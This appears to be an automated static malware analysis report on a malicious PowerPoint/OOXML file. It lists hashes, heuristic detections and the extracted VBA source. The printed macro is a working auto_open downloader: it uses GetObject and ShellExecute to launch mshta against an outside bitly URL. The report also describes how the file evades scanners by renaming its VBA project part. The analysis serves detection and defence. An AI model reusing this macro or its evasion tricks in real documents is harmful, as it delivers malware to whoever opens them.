Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 22da4275847d5be9…

MALICIOUS

Office (OOXML)

11.0 KB First seen: 2021-10-23
MD5: e5a35f8c565ddea415804d4b05244e28 SHA-1: 47d030e20b324c3706d652b2a562a61547e14fbd SHA-256: 22da4275847d5be9f1d21df99c3f51be09d31be7942940732d311b030c62eeb0
270 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1218.011 System Binary Proxy Execution: Rundll32

The OOXML document contains an obfuscated VBA macro with an auto_open subroutine. This macro uses GetObject and ShellExecute to execute 'mshta' with a URL, likely to download and execute a second-stage payload. The VBA code reconstructs the URL 'http://www.bitly.com/doaksodksueasdweu' and the executable 'mshta'. The presence of obfuscation and auto-execution suggests a malicious downloader.

Heuristics 8

  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present (project part renamed away from vbaProject.bin: ppt/asodkaoskda.b)
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
        Case 1
            getEnumName = "mshta"
        Case 2
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Public Function calc()
    Set calc = GetObject(StrReverse("000045355444-E94A-EC11-972C-02690731:wen"))
    End Function
  • VBA project part renamed to evade filename detection high OOXML_VBA_PROJECT_RENAMED
    The VBA project is bound through the OOXML relationship/content type but its part is not named vbaProject.bin. Legitimate Office producers always emit vbaProject.bin; renaming it hides the macros from path-only scanners (observed in the SVCReady loader).
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Public Function calc()
    Set calc = GetObject(StrReverse("000045355444-E94A-EC11-972C-02690731:wen"))
    End Function
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Attribute VB_Name = "clom"
    Sub auto_open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.bitly.com/doaksodksueasdweu In document text (OOXML body / shared strings)
    • https://www.bitly.com/jasdojasdokkaasasddksdIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1000 bytes
SHA-256: a96f0cd7ff05bfde59f6d5f0591d00de14c5f93f935325012f04b15b93a3c404
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "clean"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Enum myenum

    myname1 = 1
    myname2 = 2
    myname3 = 3
    myname4 = 4
    
    End Enum
    
Public Function getEnumName(eValue As myenum)
Select Case eValue
    Case 1
        getEnumName = "mshta"
    Case 2
        getEnumName = "http://www.bitly.com/doaksodksueasdweu"
    End Select
End Function


Public Function calc()
Set calc = GetObject(StrReverse("000045355444-E94A-EC11-972C-02690731:wen"))
End Function




Attribute VB_Name = "clom"
Sub auto_open()

Dim Total As New clean

Dim NamakTotal, lora As String
NamakTotal = Total.getEnumName(1)
lora = Total.getEnumName(2)
koko = lora


Total. _
calc. _
ShellExecute NamakTotal, koko

End Sub
vbaProject_00.bin vba-project OOXML VBA project: ppt/asodkaoskda.b 25600 bytes
SHA-256: 017feb88fbf112e06787c743f2012da2d28ace584ce5fde965c3cbdddce4ed05